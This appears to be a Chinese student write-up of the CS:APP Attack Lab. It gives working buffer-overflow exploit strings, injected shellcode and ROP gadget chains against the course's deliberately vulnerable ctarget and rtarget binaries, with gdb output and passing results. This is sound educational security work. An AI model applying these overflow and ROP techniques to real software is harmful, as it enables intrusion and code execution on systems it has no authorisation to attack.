从网站上下载到压缩包target1,解压后包含如下文件:
- README.txt:文件夹中各个文件的介绍。
- ctarget和rtarget:用于进行攻击的可执行文件
- cookie.txt:一个八位十六进制数,有些攻击会用到。
- farm.c:ROP攻击中用到的“gadget farm”的源码。
- hex2raw:用于生成攻击字符串的工具程序。
使用”./hex2raw”将exploit字符串转换为字节码。使用方法参考attack.pdf的Appendix A。简而言之,输入应该为每两个十六进制数一组,用空格进行分隔。比如十六进制0应该写作00,0xdeadbeef应该写作“ef be ad de”。hex2raw的使用方法如下:
unix> cat exploit.txt | ./hex2raw | ./ctarget
漏洞存在于getbuf函数:无法得知缓冲区是否能容纳读入的字符串。
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
建议:
查看getbuf
gdb-peda$ disas getbuf
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>: sub rsp,0x28
0x00000000004017ac <+4>: mov rdi,rsp
0x00000000004017af <+7>: call 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov eax,0x1
0x00000000004017b9 <+17>: add rsp,0x28
0x00000000004017bd <+21>: ret
End of assembler dump.
很容易发现buf的缓冲区大小为0x28,所以填充了40个双字之后,写入的地址就可以覆盖返回地址ret了。记得要把地址后面的0补足了。
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
c0 17 40 00 00 00 00 00
cd@ubuntu:~/pwn/csapp/attackLab$ cat exploit-1.txt | ./hex2raw | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA C0 17 40 00 00 00 00 00
任务:使ctarget从getbuf返回时,执行touch2的代码,而不是返回到test中继续执行。并且要将cookie作为参数传递给touch2。
touch2的代码如下:
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
建议:
思考:
exploit-2
注意!返回地址要用00前缀补齐位数;压入栈的地址要有**一个**00前缀,多余的00会被混入下一条指令,没有00的话下一条指令会被认作地址(gcc会处理好,不要自己乱加或者乱删)。
48 c7 c7 fa 97 b9 59 /* mov $0x59b997fa,%rdi */
68 ec 17 40 00 /* pushq $0x4017ec */
c3 /* retq */
00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 /* old %rsp */
cd@ubuntu:~/pwn/csapp/attackLab$ ./hex2raw < exploit-2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
touch3的代码:
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
/* cookie is trasfered from unsigned to string */
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
思考:
要把cookie字符串作为参数,传递给touch3。那么需要在栈里找一个位置来保存cookie字符串。修改Phase 2的exploit,先把cookie放在0x5561dca8的位置。
48 c7 c7 88 dc 61 55 /* mov $0x5561dca8,%rdi */
68 fa 18 40 00 /* pushq $0x4018fa */
c3 /* retq */
00 00 00
35 39 62 39 39 37 66 61 /* $0x59b997fa, cookie */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 /* %rsp */
在touch3的<+17>与<+28>处下断点,比较调用hexmatch前后,栈上内存的变化情况。
gdb-peda$ disas touch3
Dump of assembler code for function touch3:
0x00000000004018fa <+0>: push rbx
0x00000000004018fb <+1>: mov rbx,rdi
0x00000000004018fe <+4>: mov DWORD PTR [rip+0x202bd4],0x3 # 0x6044dc <vlevel>
0x0000000000401908 <+14>: mov rsi,rdi
0x000000000040190b <+17>: mov edi,DWORD PTR [rip+0x202bd3] # 0x6044e4 <cookie>
0x0000000000401911 <+23>: call 0x40184c <hexmatch>
0x0000000000401916 <+28>: test eax,eax
0x0000000000401918 <+30>: je 0x40193d <touch3+67>
0x000000000040191a <+32>: mov rdx,rbx
......
End of assembler dump.
<+17>处的栈上内存,其中0x5561dc78 ~ 0x5561dc9f为缓冲区,大小为40个字节。可以看到0x5561dca0的内存已经不是exploit写入的内容了,因为touch3有push rbx的操作。
gdb-peda$ x /56b 0x5561dc78
0x5561dc78: 0x48 0xc7 0xc7 0x88 0xdc 0x61 0x55 0x68
0x5561dc80: 0xfa 0x18 0x40 0x00 0xc3 0x00 0x00 0x00
0x5561dc88: 0x35 0x39 0x62 0x39 0x39 0x37 0x66 0x61
0x5561dc90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dc98: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dca0: 0x00 0x60 0x58 0x55 0x00 0x00 0x00 0x00
0x5561dca8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
<+28>处的栈上内存,其中0x5561dc78 ~ 0x5561dca0为缓冲区。此时原缓冲区的内容基本已经不同于exploit写入的内容。
gdb-peda$ x /56b 0x5561dc78
0x5561dc78: 0x00 0xcc 0xb4 0x4a 0x28 0xa7 0xa4 0xb5
0x5561dc80: 0x88 0xdc 0x61 0x55 0x00 0x00 0x00 0x00
0x5561dc88: 0xe8 0x5f 0x68 0x55 0x00 0x00 0x00 0x00
0x5561dc90: 0x02 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dc98: 0x16 0x19 0x40 0x00 0x00 0x00 0x00 0x00
0x5561dca0: 0x00 0x60 0x58 0x55 0x00 0x00 0x00 0x00
0x5561dca8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
分析一下,因为调用hexmatch,sprintf和strncmp多次压栈,而且写入cookie的栈上地址是随机的,因此传入的字符串不能保存在getbuf函数的缓冲区。可行的方式是把字符串保存在getbuf的父进程的栈中。如exploit-3所示。
exploit-3
48 c7 c7 a8 dc 61 55 /* mov $0x5561dca8,%rdi */
68 fa 18 40 00 /* pushq $0x4018fa */
c3 /* retq */
00 00 00
FA 97 B9 59 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 /* %rsp */
35 39 62 39 39 37 66 61 00 /* cookie, at $0x5561dca8 */
sh
gdb-peda$ c
Continuing.
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 FA 97 B9 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
简单来说,Part II和Phase 2以及Phase 3是相同的攻击目标,但是需要使用ROP攻击。每个gadget可以实现一个小步骤,完成对寄存器的操作,然后ret,接着执行下一个gadget。一系列被执行的gadgets形成了链条,最终达到我们的目的。
readme.pdf给出了Byte encodings of instructions,做题时按图索骥,在gadgets farm中寻找有没有匹配的gadget。
rtarget使用了两种技术防止代码注入攻击:
攻击方式:执行已有的代码,而不是注入新的代码。最常见的是ROP。
允许使用以下指令:
思考:
首先要把cookie传入%rdi,然后再转入到touch2函数。
根据readme.pdf的命令列表,在gadets farm中没有发现popq %rdi。于是可以先popq %rax,然后movq %rax, %rdi
exploit-4
这里的缓冲区完全被junk填充,然后从getbuf的ret向下执行。用到了两个gadget,所用到的data也放在了栈上。
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
cc 19 40 00 00 00 00 00 /* jump 0x4019cc; popq %rax */
fa 97 b9 59 00 00 00 00 /* cookie */
c5 19 40 00 00 00 00 00 /* jump 0x4019c5; movq %rax, %rdi */
ec 17 40 00 00 00 00 00 /* touch2 */
通过Phase 4
gdb-peda$ r -q < ./exploit-4-raw.txt
Starting program: /mnt/hgfs/pwn/csapp/attackLab/rtarget -q < ./exploit-4-raw.txt
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
思考:
同Phase 5一样,这里也需要考虑如何存放cookie字符串,并且多了一个传递字符串地址到%rdi的难题。
首先,getbuf的缓冲区应该全部填充为junk,那么cookie字符串为了不干扰exploit的正常运行,必然要放在exploit的最后。
第二个问题,一开始在gadgets farm找到许多如下的操作:
mov $0x909078fb,%eax
lea -0x3c3876b8(%rdi),%eax
movl $0xc7c78948,(%rdi)
......
所以考虑过能否使用这些数值来拼凑一个地址,然后把cookie字符串放在那里。但是由于有栈随机化,所以这个思路不行。
后来看了一些解答,发现居然有movq %rsp, %rax这样的神操作,那样就可以用(%rsp) + x的方式来得到cookie字符串的地址了。然后就是一通拼拼凑凑,用了8个gadgets完成了exploit。
exploit-5
关于这种需要很多gadgets才能完成的exploit,觉得思路肯定是最重要的,但是思路明晰之后,在组成gadgets的链条时,不妨用倒序查找的方法,也许会快一些。当然,今后肯定会使用一些查找gadgets的工具啦。
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA
06 1a 40 00 00 00 00 00 /* jump 0x401a06 ;movq %rsp, %rax */
c5 19 40 00 00 00 00 00 /* jump 0x4019c5 ;movq %rax, %rdi */
ab 19 40 00 00 00 00 00 /* jump 0x4019ab ;popq %rax */
48 00 00 00 00 00 00 00 /* distance from here to cookie string */
dd 19 40 00 00 00 00 00 /* jump 0x4019dd ;movl %eax, %edx */
34 1a 40 00 00 00 00 00 /* jump 0x401a34 ;movl %edx, %ecx */
13 1a 40 00 00 00 00 00 /* jump 0x401a13 ;movl %ecx, %esi */
d6 19 40 00 00 00 00 00 /* jump 0x4019d6 ;lea (%rdi,%rsi,1),%rax */
c5 19 40 00 00 00 00 00 /* jump 0x4019c5 ;movq %rax, %rdi */
fa 18 40 00 00 00 00 00 /* touch3 */
35 39 62 39 39 37 66 61 /* cookie string */
00 00 00 00 00 00 00 00 /* string ends with 00 */
gdb-peda$
Continuing.
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 06 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00